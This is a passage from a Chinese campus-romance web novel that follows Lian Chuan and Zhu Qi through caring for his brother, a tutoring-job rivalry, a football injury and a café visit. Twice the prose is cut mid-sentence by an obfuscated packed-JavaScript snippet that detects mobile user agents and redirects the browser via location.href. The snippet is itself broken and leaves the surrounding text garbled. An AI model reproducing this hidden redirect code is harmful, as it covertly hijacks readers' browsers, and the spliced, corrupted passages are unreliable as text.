大二转专业后,他再也没有回过一次家。
舒明菡几次给他转钱,都被他一分不少地退了回去。
直到金豆病危,二人筹措不出手术费,祝祺甚至去问导师史雁英借钱,连川才终于接受了舒明菡的转账。
这并不是一笔无条件的钱。
舒明菡说,年底,除夕前,她有工作安排,希望连川可以帮忙照顾连海一天两夜。
他同意了。
这才有了今天的事。
舒明菡哭声细微,似没完没了的虫鸣,连川眉头烦躁地微蹙,抬手去碰连海的肩:“走,跟哥哥……”
触碰的瞬间,连海像是被火灼烧一般,厉声尖叫起来。
祝祺对声音格外敏感,缩进了沙发深处。
舒明菡赶紧以保护的姿态安抚连海:“乖乖,不怕,这是哥哥呀,小时候哥哥对你可好啦,你最爱吃哥哥做的西红柿炒蛋,还记得吗……”
连川听见,神色一黯,径自走进厨房,将他给连海准备的菜端上桌。
舒明菡眼前一亮:“小川,我可不可以一起……”
连川:“不可以。”
“好吧,那小海就辛苦你照顾两天。”
舒明菡叹了口气,递过连海行李箱的同时,又从包里掏出一个胶卷相册。
连川看到相册封面的瞬间,便似机械玩偶发条失灵一般,顿住了。
“这是你大一寒假那年回家冲洗的相片,落在家里了。对不起,小川,我翻开来看了一眼。有几张人像,是祝祝,对不对?”
连川乍然抬头,双目赤红:“我不许你提她。”
舒明菡被他的神态吓到,赶忙改口:“我不提,我不提。我只是觉得,你说不定会需要。”
连川默然接过。
“小川,如果你需要有人陪你说话……”
方才的一瞬失控仿佛是错觉。
连川面无表情地合门,将舒明菡挡在门外,声音凛冽如冰:“不需要。”
*
离开母亲后,连海意外地很乖。
他按照在家里吃饭的习惯,把饭添在盘子上,用勺子压平整,划成等大的十六小格,一格一格地往嘴里送,细瘦纤长的小腿在桌下轻晃。
饭后,连川安排弟弟洗漱,将他安置在卧室里,又在客厅另铺了张床铺,留给自己睡。
在舒明菡十年如一日的努力,和巨大的经济投入之下,连海的病症已经轻了很多。
至少他不会像小时候那样,一边尖叫一边用头撞墙,一整晚不停地开关家里的灯,舒明菡一不在身边,就用被单、毛线甚至是胶带,把自己一圈圈地包裹起来。
连川理解为什么舒明菡非要让他来照顾弟弟不可。
她以为连川嫌弃弟弟,想让连川看看连海现在的样子。
——但他和父母之间的问题,从来不是出在小海身上。
睡前,连川望一眼弟弟恬静的睡容,轻轻合拢卧室的门。
他回到客厅,将在沙发底下躲了一晚上的祝祺喊出来:
“小怂猫,不怕啦,来睡觉。”
祝祺探头探脑地从沙发底下钻出来。
柔软大床变成了简陋地铺,祝祺毫不嫌弃,如常走至连川枕边,用爪子拍软床垫,舒舒服服地趴下。
连川也钻进被窝里。
在他手中,是舒明菡带来的相册。
“来,金宝。”他将相册立在小猫面前,一页页翻开。
相册中,有花鸟,有光影,有柳稍平白搅扰本来无波的水面。
他不愧是知名摄影师的儿子,对于自然景物的捕捉细腻入微。看似寻常的事物,在他镜头下都别有意趣。
又翻几页,竟有几张人像。
拍摄人像时,连川大失水准,心慌,手摇,光影混乱,构图乱七八糟,人像模糊不清。
但祝祺还是认出来,这是自己。
大一那年,刚入学的祝祺。
那时,祝祺刚从小山村,来到沿海的A省。
她不会打扮,在大学仍穿着高中的墨绿色校服,胸前高中校名的印花,被水洗得斑驳脱落,整日扎着学生气十足的马尾,土得十分醒目。
她的本科室友大喵,一名奇迹暖暖重氪玩家,非说她底子好,邀请她用自己的护肤品,教她打理头发,在网上淘物美价廉的衣服。
托室友大喵的福,她只土了短短的一个学期。
连川竟然拍过她刚入学时的样子。
更让祝祺吃惊的是——
大一上学期,她和连川根本就不认识。
连川察觉到金宝走神,敲了敲她的脑袋,严肃地说:“宝,你认真看,这是你妈妈。”
祝祺:“……”
不,这是你大爷。
9.咪
祝祺第一次见到连川,是大一军训的尾声。
那一日,她去校门对面的打印店影印助学贷款审核所需要的材料,一出校,就被一个女人用力抓住手臂。
任何人见到这拉扯的二人,都不难猜出她们是亲母女。
她们有着如出一辙的眼睛。眼形如莲花花瓣,眼皮上深浅数道褶,如水纹一般,更显得两眼大而温婉含情。
此时,两双酷似的眼睛,一双恼怒含泪,带着不讲理的疯蛮。
另一双,则镇静如风过千仞长岗,掀不起半分波澜。
母亲的力道极大,一边捶打,一边用力曳着她的手臂,口中用方言詈骂着。
混乱中,她胡乱地挨了几下,被拖拽得踉跄,脑中一片空白,却又异常冷静。
她站定,举起能证明自己身份的校园卡,向校门口的保安求助。
“我不认识这个人。”她用清晰的普通话说。
趁保安架住女人的空隙,她往校内的方向回转身。
——抬头,便对上了连川的脸。
十八岁的连川身形高瘦,肩宽腿长,穿着军训时人手一件的墨绿色迷彩服,劣质粗糙的布料放在他身上,也显得格外英挺。
潦草而仓促的一眼后,祝祺对他的第一印象是,这个新生眉骨很高,是一副倨傲而固执的长相,鼻梁挺拔,五官立体得有些距离感。
不知道男生站在这里围观了多久。此时,他定定地站在祝祺面前,落在她身上的眼神冷淡,没有探问的意思。
祝祺这才意识到,她和母亲拉扯的地方,正好在学校的外卖柜前。
她挡着男生拿外卖了。
祝祺低下头,错开男生的视线,从他身侧快步离开。
*
军训后,A大中文系正式开学。
新生入学仪式过后没多久,祝祺的家境就隐约传开。
对此,祝祺十分坦然。
贫困就像咳嗽,藏不住的。
有太多露相的地方——谈吐眼界,衣着打扮,瘦弱矮小的身形,没有矫正过的、微微外龅的虎牙,对电影、音乐、流行文化的全然无知,尽力压抑却仍不时带出方言腔调的普通话,以及公示的助学名单。
她本来也没打算藏。
早在决定离开大山的那一刻,她就将自卑自怜、脆弱敏感、怨天尤人这些无益的情绪,收入一个永不开启的潘多拉魔盒之中。
在她看来,比起纠结无法改变的出身,更紧迫的是提升英语成绩。
通过四六级并不难,难的是大学英语。
她研究过A大中文系的学生手册。无论是保研,还是奖学金,都看大学英语成绩。
她靠刷卷子习得的英语,只够应试,开不了口,听力也差,更别提交流。
大学英语课是外教授课,有大量presentation,还有口语考试。
她必须得过英语这一关。
于是,每日清晨六点,她小声起床下楼,站在操场一角,捧着一张A4纸,大声晨读。
A4纸上,是她从NCE3上手抄的英语长文。三日读一课,一天就着录音疏通生词读音,记忆句法,一天将全文流利地诵读下来,再一天记忆背诵。
清晨时分,大学校园尚未苏醒,操场空寂。十月之后,六点尚未天明,操场笼在熹微的淡紫色光彩之中,一切事物的轮廓都是模糊暧昧的。
操场上,唯有早读的祝祺,和一个晨跑的影子。
祝祺偶尔分神,望向晨跑的男生。
她认出来,这是大一军训时,在校门口见过的那个男生。
男生没有出现在中文系开学典礼上,显然是外系的,却跟着中文系一起上课,总坐在教室后排。
教室后排是中文系男生们聚集的地方。这批男生,大多是读了几篇网文,就误以为自己热爱文学。入学之后,发现中文系考高分不易,挂科更难,从此躺平,上课签到后,就在后排开黑打游戏,说些言不及义的废话。
有一次课间,这群男生八卦到了祝祺的头上来。
对这群小康家庭出生的男生而言,真正的穷人是比大熊猫还稀奇的谈资。
此时祝祺正坐在教室前排补笔记,听得一清二楚。
蓦地,她听到一个清越平和的声音:
“她没有你们的条件,却取得和你们一样的成绩,和你们在一个教室里上课。你们议论她的时候,不觉得丢脸吗?”
不知怎么,她不需回头,便知道是谁。
这些话不是刻意说给她听的,也并不寻求她的感激。
她埋头忙自己的,假装没有听见。
半年过去,她顺利地完成了两次大学英语课堂汇报。
她的发音仍然不够标准,连她自己都自嘲是Chinglish,只是她课堂汇报时从容而又张扬的气度,甜润明快的声线,能让人轻易忽略掉她发音的瑕疵。
英语尚且如此,专业课上,她的表现更为突出。
她聪慧,用功,无比积极,不放过任何展现自己能力的机会。报告、评议、论文,单看页尾的脚注和篇末的参考文献,就能读出她的用心。课后,她逮着机会就和助教与教授交流,粉圆的脸蛋上生了一双盈盈带笑眼,令人生不出厌烦之心。
她不怕有人说她削尖了脑袋往前冲的样子难看,谄媚,投机。
她只怕自己不被看到,埋没进人群中,像埋进故土层层叠叠不见天日的山峦之中。
某日下课,常年神龙见首不见尾的中文系系主任突然出现在了教室里,点名问谁是祝祺。祝祺讶异地起身,系主任笑:“就是你,才大一,会背《左传》?”
同学们:“……”
怀疑自己少听了几个字。是《左传》,而不是《左传》系年、《左传》节选又或是“《左传》”的名词解释?
这到底是天赋异禀,还是没忘干净啊?!
大一那年,她像一枚新笋,一身泥泞土气,卯着力气,节节破壤而出。
曾经拿她当谈资的男生,开始用充满敬意的语气讨论她,说下学期选课一定要抱紧祝神大腿。
和她一起做小组作业,躺平也有高分。
“尤其是你啊,连川。”有男同学好心提醒,“你同时修两个专业的课,都忙不过来了,还不如找祝神帮忙带带。她人很好的,就算你什么都不干,她也不会找老师打报告。”
连川淡声回应:“不需要。”
第一年,两人从未说过一句话。
偶尔连川晨跑时,经过祝祺所在的角落,衣角带起一阵清爽得恍若幻觉的凉风。
这就是她与连川唯一的际会。
*
大二,连川转入中文系。
不再分身乏术后,连川开始在现当代文学的课堂上有所表现。
他熟悉文论,对诗文敏感,在解剖文本时,常有新解。所作札记文辞清新,思路颖异,篇篇都是高分。
他还加入了南国诗社,在创作之余,会译介一些欧美的小众诗人作品,发表在学校的诗刊上。
大二上学期期末,临近考试周,辅导员让连川帮忙统计学生离校信息。
绝大多数学生都在线上提交表格。连川筛出未及时填写离校信息表的学生,在专业课课间,挨个询问。
逾时未填表的学生之一,就是祝祺。
期末考在即,她无暇看手机,屏蔽了班级群消息。
连川走至教室前排,祝祺身侧:“是祝祺同学吗?”
祝祺抬起熬夜温书到苍白的脸,点了点头。
连川取出表单,公事公办:“为了保障学生假期安全,系里需要统计学生寒假去向。”
祝祺答:“我不离校。”
连川在表单上勾选不离校字样。
假期期间不离校的学生,不必报备假期行程,只需再填写一项紧急联系人,方便系里联系。
祝祺对着打着星号的必填项,久久犯难。
“这一项不填可以吗?我没有紧急联系人。”
“父母,亲戚,总之假期期间能和你保持联络的……”
女生寂然地垂着脸,声息安静,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304346|165918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像是丛林之中负伤忍痛的动物,极力压抑自己的气息。
连川沉默半晌,说:“那填我,行不行?”
祝祺抬眼,诧异地向前望去。
在此之前,她对连川的印象,由身形、轮廓、嗓音拼接而成。这是她第一次如此仔细地看向连川的脸。少年肤色如沉水寒玉,眼皮窄,眼稍微扬,眸色是剔透的淡灰,偏偏睫羽鸦黑浓长,像是枯笔焦墨勾画的几笔。
是一副冷清疏离的长相,和他此刻呈现出来的全无必要的好心不符。
连川自顾自在表单上签上自己的名字和手机号。
在关系一栏,连川写:同学。
祝祺弯眼一笑:“谢谢你,同学。”
正书至“学”字最后一横,连川落笔的手一顿。
“假期期间,如果系里找不到你,就会给我打电话。”连川拿出手机,“为了方便我找你,同学,我能加你的联系方式吗?”
祝祺添加了连川的微信,填写备注。
「脸很凶的紧急联系人:我通过了你的朋友验证请求,现在我们可以开始聊天了」
聊天框中,不再有第二条文字泡。
那一学期,祝祺凭借古代文学史史无前例的满分,取得全年级绩点断层第一。
被甩在身后的第二名,是刚刚转专业进入中文系的连川。
*
大二下,保研竞争愈发激烈。
这一学期的现代汉语课程,要求同学两两组队,任选单元主题,完成小论文,质量优者参与课堂展示,有额外加分。
现汉老师在大屏上用摇号小程序随机组队。
当屏幕上显示连川、祝祺为一组时,座下同学一片惨叫。
年级第一和第二,本来可以分别带飞两个躺平的咸鱼,偏偏凑成了一组。
周五,祝祺收到来自连川的第一条微信消息:
「脸很凶的紧急联系人:同学你好,我是连川。周末有空讨论现代汉语选题吗?」
「祝祺:可以~你定时间地点。」
两人约在周六中午,学校食堂。
祝祺想要研究字形简化。理由是在字形单元作论文的同学不多,如果老师打算在每一模块中择优汇报,她的论文另辟蹊径,容易出挑,获得额外加分。
连川则建议调查方言词汇或特殊语用。
他举出几篇检索到的小论文,说,方言研究有现成的框架,照着模版写,不花时间。
祝祺抬眼:“你会说方言吗?”
对面的男生显然是北方人,发音标准又不刻意咬字,嗓音微沙,像抱雪松枝在风中微颤的响声。
连川摇头。
祝祺笑笑,轻快地说:“我也不会。”
勾唇时,一点虎牙尖尖露出,她全然不掩饰,一副明媚而坦诚的模样。
连川刷新了对祝祺的认知:
这是一个能够顶着这样的一张脸说谎的女生。
他记得自己第一次见到祝祺的场景。
九月末,西风浩荡,女生身穿宽大得遮掩身形的军训迷彩服,倔强地立在校门口,任身旁女人疯了似地尖叫、捶打、拉扯,她岿然不动。
风过,勾出她纤瘦却板正的身形。
他听见女生对母亲说话,虽是方言,却意外地好懂:
“我已经来到大学,就不会再回去。我要做研究,成大事,出人头地。我不是你们可以锁在家里的人。饭钱,书钱,我自己挣,不要你们一分。”
女生嗓音清润甜美,咬字却用力得生出几分凛然。
最后,女生回头时,匆忙间,和他对视一眼。
她肤色深,脸圆而小,眉尾往额角的方向高提,双眼明亮。
让他想起幼时随连平山在南亚摄影时,丛林河岸边,流水交汇处,见过的一种渔猫。
离群索居,缘水而生,眼神危险而警惕。薄暮时分,周身神秘的纹理,隐在幽暗之中,唯有一双黄瞳,如鬼火攒动,光彩迫人。
这样一种机敏美丽的生物,无论处在何种绝境之下,都能逢生。
10.咪咪
“既然如此,缺少语料库,方言肯定是没办法做了。”连川定定地望着祝祺的脸,“毕竟你不会说方言。”
两人议定现汉论文选题,简单分工后,约定每周六中午,在食堂见面讨论。
为节约时间,他们一边吃饭一边汇报论文进度。
连川每周六抵达食堂,都会刷新一套新OOTD。
有时是背吉他,有时脖子上挂着一个相机,有时刚从图书馆出来,包里装满书,怀里还抱着几册,封面上全是她看了就头大的洋文。
有时刚运动完,喘息未定,脸颊用水浇过,一身半湿的球衣还没换,为防额发挡眼,高耸眉骨之上,围了一圈白色发带。
发梢湿漉漉的,在发带的映衬下,黑得晶亮耀眼。
祝祺总是捧场地“哇——”一声。
她说:“你像电视里那个,马丁马丁,每天早晨你醒来。”
她唱歌一点调都没有,五音全错。好在歌词是对的,连川能分辨出来她说的是哪首歌。
连川蓦地一笑:“都是随便玩玩。来得急,怕迟到,没来得及换衣服,抱歉。”
祝祺总是早到。
连川到时,她已在食堂点好餐,坐在老位子上,自顾自吃饭。
印着A大校标的餐盘上,一份荤,一份素,一碗满满当当的白米饭,再打一份免费汤。
一份六七块钱的饭,口味顶多称一句勉强能吃,隔三差五被学生挂上校园墙吐槽,她却吃得专注,像在对饭菜进行成分鉴定,又像是在喂养自己。
连川从来没有见过这么能吃的女生。
每餐吃那么多,却总是一副没吃饱的意犹未尽样子,从不见长肉,下巴短而尖,使连川疑心她真是某种夜行猫科动物,否则怎么消化掉这么多食物。
吃得多,但点餐总是挑最便宜的菜点,这算好养,还是难养?
——连川暗骂自己胡思乱想。
反正不是他养。
*
五月,学期过半,现汉论文基本成型,两人各自撰写自己分工的部分,只在线上偶有交流。
辅导员在年级群里发公告:系主任的外甥女即将升入高三,想聘请家教,时薪二百,欢迎同学们踊跃报名。
这个时薪,远高出本科生家教的市场价。
转专业后,连川就不再收取父母转来的生活费,全靠他上大学前攒下的存款,和学习间隙兼职打工,将生活维系在一个体面的水准。
给这名学生上课一小时,他可以少在咖啡店里打工一上午。
报名后,系主任的妹妹唐女士在电话里,让他周六下午三点,来学校附近的别墅区面试。
他刻意早到了半小时。
唐女士热情地将他迎进门,请他吃些点心,稍作等待,还有一位同学在面试家教。
他抬眼。二楼书房,门正虚掩着,门缝里漏出讲课声。
他几乎是立时分辨出了祝祺的声音,毫不意外她会出现在这里。
唐女士看他好奇,笑说:“连同学可以站在门外旁听,提前熟悉一下我家小央的性格。”
连川点头,轻声上楼,走向门边。
隔着门缝,能看到书房里,两人一站一坐。
坐着的是唐女士的女儿、系主任的外甥女小央。少女短发利落,坐在人体工学椅上的身体,随着祝祺的讲课,兴奋地前倾。右手攥着一支笔,悬停在空中,像是随时准备打断讲课,提出问题。偶尔发表自己观点时,语速如机关枪,思路敏捷,知识储备也很丰厚。
一名学习能力强、程度高、个性积极的女高中生。
她对家教的要求,不是提高本就突出的语文高考成绩,而是完成从高中到大学中文系的过度。
连川立刻明白这份工作凭什么值得如此高的时薪。
反观祝祺,乌发扎起,面上罕见地带了淡妆,清透妍丽。她身着一袭淡绿连衣裙,长度过膝,衬出她因上大学两年后久居书斋、缺少光照,逐渐白皙的肤色。腰间藕色盘扣,勾出纤长细瘦的腰身,不呆板,也不过度,极合宜的一套装扮。
她站在一面与人齐高的小白板前,正讲“绝地天通”,语速不疾不徐,笑意浅淡,姿态从容。
“绝地天通”的文本多自《尚书》《诗经》而出,艰难晦涩,被她解得深入浅出。面对小央略显尖锐、近乎刁难的提问,她也总能举一反三,阐释句意。
连川在门外听了二十分钟。
小央从称呼祝祺为学姐,到最后,心悦诚服地喊她小祝老师。
面试时间已结束,祝祺最后和小央再简单沟通答疑几句,便捧着资料夹,从书房里出来。
出门时,她对上连川眼神的一刻,分明怔愣一下。
她以为,凭连川展示出来的吃穿用度水平,无需兼职谋生。
转念一想,为系主任的外甥女做家教,能得到的何止高昂的报酬。如果连川像她一样有心在高校升学甚至留任,必然会竞争这个岗位。
于是她向连川飞快一笑,点一点头,便错身出门。
连川取出讲义,准备上课。
唐女士没有对家教试讲的课题提出要求,祝祺预备的是她拿手的先秦文学,他则介绍以痖弦、商禽为代表的港台诗人,适当引入文论常识。这部分文学史,在一般的高中课堂上很少涉及,小央听得沉默专注。
讲课过程中,连川偶一错神,发现自己曾伫立偷听的门边,有一角绿色裙边。
她也在听。
课程之后,小央先一步离开书房,连川整理完自己带来的讲义才出来。
二楼,祝祺已经不在了,唐女士微笑着坐在阳台小几边。
小几上摆着两杯饮品。唐女士将其中一杯往前递,请他喝手工研磨的冰美式。
“连同学,小央对我说,方才收获很大,也很喜欢你讲课的风格。”
连川道了声谢。
“此外,我注意到你简历上提供的英语能力证明,这是几乎母语水平的成绩吧?还有南国社诗刊上你译介的作品,也很惊艳。”
连川手掌抵着冰美式凝着水珠的杯身,双目与唐女士平视,道了声谢,等待下文。
“小央计划在硕士阶段出国学习,如果您能够在辅导语文的同时,也给予她一点英语上的帮助的话,那就再好不过了。当然,考虑到同时任教两门课,会带来更大的备课难度,我们还可以再上调时薪。”
连川听懂了。
他是小央姨妈的学生,有这一层关系在,唐女士天然更信任他。如果他能同时辅导两门科目,小央就不需要再另外花时间在外找家教,与新家教磨合。
他想了想,说:“如果小央同学需要英文家教,我当然可以。”
他的态度积极明确,唐女士含笑点头。
“但语文辅导上,祝祺同学应当比我更适合。”
唐女士讶异于他竟然会拒绝到手的机会,一怔,旋即又露出了然的神情。
祝祺家境特殊,即便是她,也从在A大中文系任教的姐姐处有所耳闻。
她笑说:“是因为你觉得祝同学更需要这份兼职吗?”
楼梯上仓促响起脚步声,打断他们之间的对话。
连川抬头。
楼梯尽头,祝祺去而复返,看着小圆几两侧相对而坐的唐女士和连川,脸色僵硬。
“不好意思,唐女士,我把U盘落在书房了。”
唐女士冲她一笑:“没事的,去拿吧。”
她轻一点头,紧走两步,进了书房。
连川想起祝祺错愕的神情,感到一阵莫名的不安。
唐女士看出他心不在焉,笑说请他先回,她和小央进一步商量后,再与他联系。
连川起身道别。
正好祝祺找到U盘,从书房出来,和唐女士道了声别。连川随她出门。
一出叠墅正门,初夏烈日泼金,灼热刺眼。
没走几步,祝祺忽然站住,回身,仰起下巴,看向跟在自己身后的连川。
将天地晒得仿佛褪色般的炽阳下,她仰起的下巴、脖颈,白得醒目,连川失神片刻,才后知后觉地意识到——
她在生气。
“连川,你是觉得我可怜?你凭什么?”
这反应完全与连川的预料背
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311807|165918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道而驰。
他只是做了自己想做的事,说了发自内心的话,没想着讨好她,却也没想过会惹她生气。
连川眉心微提,本就生得淡漠矜傲的脸上闪过不快:“我没有。”
祝祺瞪视的双眼含着怒意,胸膛剧烈起伏。
由于综合能力不足,失去一个那么好的兼职机会,已经足够沮丧挫败了。甚至,她还有点生唐女士的气。如果招聘要求里早提了英语能力,她仍旧会来应聘试讲,但不会对结果抱有那么高的期望。
更令她郁愤的,是来自连川的让步。
这对她而言无异于羞辱。
“我没有窘迫到需要施舍的地步,你应该学学少管闲事。”
撂下最后四个字后,她转身就走,步子迈得匆忙,怀里抱着的一捧资料夹,噼里啪啦作响,像是在发泄怒气。
连川被她翩飞的绿裙下摆晃了眼睛,心情也跟着烦躁起来。
——莫名其妙。
*
一周后,是A大一年一度的院系杯足球赛。
连川大一刚入学,就加入了经济系足球队。转专业不转球队,他仍然作为经济系足球队的主力成员,参加比赛。
中文系、外语系男生人数少,和法学系组成文法联队,一同参赛。三系合并,依旧挑不出十二个会踢球的男生,被其他院系一路教做人,士气低迷。
为鼓舞士气,中文系辅导员在班级群里号召同学们去观看文法联队对阵经济系的比赛。
只要在观众席出现,签到签退,就有额外的综测加分。
分奴祝祺可耻地动心了。
有一颗向学的心,在哪自修都一样。她捧着一册从系楼图书馆里借出来的《毛诗正义》,独自一人坐在观众席最前排,借护栏挡板遮光看书。
在赛场上的连川,往对手球队的观众区一望,便能见到最前一排,藏着一颗椰子似的圆脑袋。
乌黑的发顶露出,脸隐在挡板下,一动不动,不知道在捣鼓些什么。
比赛半程,经济系虐菜上头,踢得越来越随性放飞。
一名男生胡踢一脚,球直往文法联队观众席砸去,触地反弹后,精准地命中了前排那颗椰子。
椰子一声没吭,栽下去了。
后排有女生闹哄哄地叫砸到人了,好像是祝祺。
连川心口蓦地窜起难抑的怒火,转向队友,大声骂:“你是不是有病?会不会踢?”
他本就长了张不太礼貌的脸,发怒的时候更骇人,队友们显然被他吓到了,支支吾吾地立在原地。
他没心思管队友的反应,快步跑上观众席,拨开拥在祝祺身边的同学,蹲下身。
祝祺闭着眼,还有意识。
连川用指尖轻触她的脸:“祝祺,能醒吗?还知道现在是星期几,什么时候吗?”
眩晕中,祝祺也能辨别出连川的声音。
他的手冰凉。
“嗯。”
连川半跪在地上,抬头,向其他同学:“你们帮我把她扶到我背上。”
祝祺被扶起,架上连川的背。
连川曾背过高烧晕厥的室友,与室友相比,祝祺的重量轻得出乎他的意料。
他架起她的腿,怕她滑下来,身体尽量前倾。
“能抱住我脖子吗?”他问。
“嗯。”
但完全不动。
“……”连川默了一晌,“算了。”
连川刚起身,背上,祝祺往他耳边挪了挪:
“连川,等一下……”
喷洒在颊侧的吐息,温热得像一场如酥春雨。
连川心头的燥意仿佛被羽毛撩拨、挑动,愈演愈烈,冷声说:
“怎么,又想要我少管闲事?”
背上女生果然像是被动消音,静了一瞬。
连川开始反思自己是不是太凶了。
“我是想说,”祝祺慢吞吞地开口,“能不能帮我捡一下,我掉在地上的书?”
“……”
连川看着掉落在地上破旧卷边的《毛诗正义》,萌生出一股把卷王扔下去替天行道的冲动。
11.咪咪咪
祝祺在操场边的医务站接受了初步的检查,又被送去校医院。
连川抱着她的《毛诗正义》,一路陪同。
抵达校医院时,她已经基本上恢复了意识,只是视线还有点模糊。
做了几项基本检查后,医生嘱咐她不要走动,先躺在小隔间的病床上休息一下,等待检查结果。
祝祺仰躺在隔间病床上,满脸丧气倒霉。
连川替她在额上伤处摁着冰袋,忍不住问:“很疼吗?”
祝祺哭丧着脸:“我没签退,还有没有活动分啊。”
“……”连川默默加重手摁冰袋的力气。
好像才想起他的存在:“连川。”
“嗯。”
“你不是还要比赛吗?为什么会在这里?”祝祺偏过头去看他。
她躺得板正,齐肩短发向脑后散去,几绺挂在耳朵上。偏头时,眼睛向着他的方向大睁,睫毛浓密纤长,纤薄白皙的耳廓压在病床上,略微弯折,黑发堆积在耳垂边。
她的耳垂正中,有一枚陈旧的洞眼,不佩饰品。此时这一枚洞眼陷进深深的褶痕里,显得耳垂很柔软。
连川莫名喉口有些发痒。
“来看你的头有没有摔坏。”他随口答了一句。
祝祺了然:“我摔坏了脑袋,年级第一也是你的,时薪两百的家教也是你的。”
都这种时候了,还满脑子竞争竞争,像是野生动物刻在基因里的生存本能。
连川不在意地淡声提醒:“小央的家教,肯定还有其他同学应聘,说不定你我都捞不到。”
“但是,其他同学不会讲得比你更好了。”
一瞬间,连川几乎怀疑自己的耳朵。
手像抽干了力气,一时有些攥不住敷在祝祺额上的冰袋。
“看来你的头真的摔坏了。”他淡声说。
“真的,你讲课的时候,我在旁边听。”
他想起门边的绿裙,如被风递进来的小荷一角。
她在,他当然知道。
见连川没有反应,祝祺闭着眼睛念起来:“温柔之必要,肯定之必要,一点点酒和木樨花之必要……”
是他那日讲给小央的,痖弦的诗。
不知是祝祺的记性果真好,过眼成诵,还是她事后又花时间背过,《如歌的行板》如此密集繁复而无规律的意象群,她背得分毫不差,音韵婉转。
这固然是痖弦的代表作。
但直到这一天,它才成为连川最喜欢的痖弦的诗。
“连川,你不急着回去踢球吧?”背完诗,她的语气突然变得很客气。
他还没消气:“不去了,一群不射球门射观众的废物,没意思,让替补上。”
“你既然不走,来都来了。”
连川有种不祥的预感:“嗯。”
“能不能帮我读一下书啊?我躺着没办法看书。拜托拜托。”
“……”
她求人时态度不错,只是求的内容匪夷所思。
连川无奈叹声气,示意手中冰袋:“你自己按着。”
祝祺闻言,乖顺地抬手,往额上冰敷得有些麻木的肿处摸去。
两手相错时,她触到连川的指尖,五月天里,在冰袋上按了太久,冷得慑人。
连川拾起床头摆着的《毛诗正义》,按照祝祺的要求,翻至一页,读起来。
先读原文,再读毛传、郑笺、孔疏。
毛诗艰涩,他边读,病床上的祝祺边歪着脸偷笑。
她一笑,连川知道自己又读错字了,蹙着眉,似在着恼。
“你读慢点,注意看陆德明的音训。”祝祺笑说。
连川把书一合:“我先秦文学学得不好。”
“但你读书特别好听。”
连川抬头。祝祺正努力朝他眨眼睛,满脸真诚。
他当然没有忘记,祝祺曾经用过这样的表情,面不改色地对他说谎。
但他还是紧张得手指滞重酥麻,像是血管里沉积了过量的电荷。
又忍不住愉悦。
“书也读了,我看你头也不痛了,有空听我解释吗,祝祺?”
晖光斜照,落在连川五官上,映出浅淡的眸色,却莫名地温柔。
上周末,祝祺向他发脾气之后,他一开始只觉得莫名其妙。回寝室之后,他冷静下来,将那天下午的情状理了理,就明白误会在哪里。
祝祺误以为他是因为她家境不好,想把家教的机会,施舍给她。
事实上,当他推却那份难得的兼职时,想到的不是祝祺的窘迫,而是她一袭绿裙,白润的面颊上盈着笑意讲课的样子。
“我是真心觉得,你比我更适合辅导小央的语文。如果只因为我能多辅导一门英语,就让小央失去最适合她的老师,无论是对我对你还是对小央,都不是好事。”
祝祺收了笑,安静地听他说。
“那天你试讲的时候,小央一直提问,接话。轮到我讲时,她只是在记笔记。只一次,我说杨牧本名王靖献时,她立马有反应……”
祝祺:“《钟与鼓》。”
“对。”连川点头,“她和你更合。而我唯一的优势只是我能同时辅导两科。”
祝祺默然望天,腮帮子鼓鼓的,像是还没完全被说服。
“还有,我绝对、绝对,没有看低你。”
连川捏着书页的手,本能地紧张用力,陈旧生脆的纸张发出几不可闻的折皱声:“非要说的话,我和你,或许算是一类人。”
“一类人?”
连川犹豫了一下,实话到了舌尖,又拐了弯,说得半真半假:
“……缺钱缺到急眼的穷光蛋。”
女生侧目,鼻尖微皱,满脸写着我信你个鬼。
连川蓦地失笑。
“不信的话,周一三五,你挑一天,到岑山北路七号的咖啡馆来。”
他又摸摸鼻子,耳尖微红,“挑人少的时候来,好吗,不然我可能没空和你说话。”
*
周三上午,余青趴在Breeze咖啡店的柜台上发呆打哈欠,半睁着被泪水糊住的眼,看身穿宽大深灰卫衣与咖色围裙的连川,在桌间与吧台,穿梭忙碌。
每周一三五,各一个半天,中文系没有排专业课,连川会来Breeze兼职打工。
这份差事是南国诗社里的学长姐介绍给他的。
余青也曾在南国诗社混着玩过一阵。毕业后,考公考研双双名落孙山,在大厂干了两年,乳腺里三个结节,赶紧辞职,在母校所处的大学城里,开了这家咖啡店。
电话里,听说有个学弟想来兼职打工,她还犹豫能不能开得出工资。
直到学弟本人来面试,见到连川那张脸的第一秒,余青差点直接把劳动合同拍桌上。
有连川在,Breeze每逢单日,生意总好一倍。
只是连川脸太臭了,一副生人勿近的模样。偶尔有女生偷看他好一会,终于拉着朋友鼓起勇气来搭话,他的回应总是冷淡得像人机。
余青急得想把搭讪连川的姑娘们摇醒:
图什么啊!!脸能当饭吃吗!!这个臭脾气一看就不会疼女朋友啊!!!
虽然连川不配合出卖色相,但他对待工作一向认真负责,从不含混。余青没有逼良为娼的兴趣,随他去了。
这一日,连川似乎状态不佳,记混了一桌客人要求的甜度。
余青拎着比自己高一个头的学弟,亲自道歉免单。好在客人没有追究。
客人不追究,身为店长却不能放过。她抱着手臂,故意板脸,问:“你今天怎么了?”
正当这时,正门被推开,风铃一阵叮铃作响。
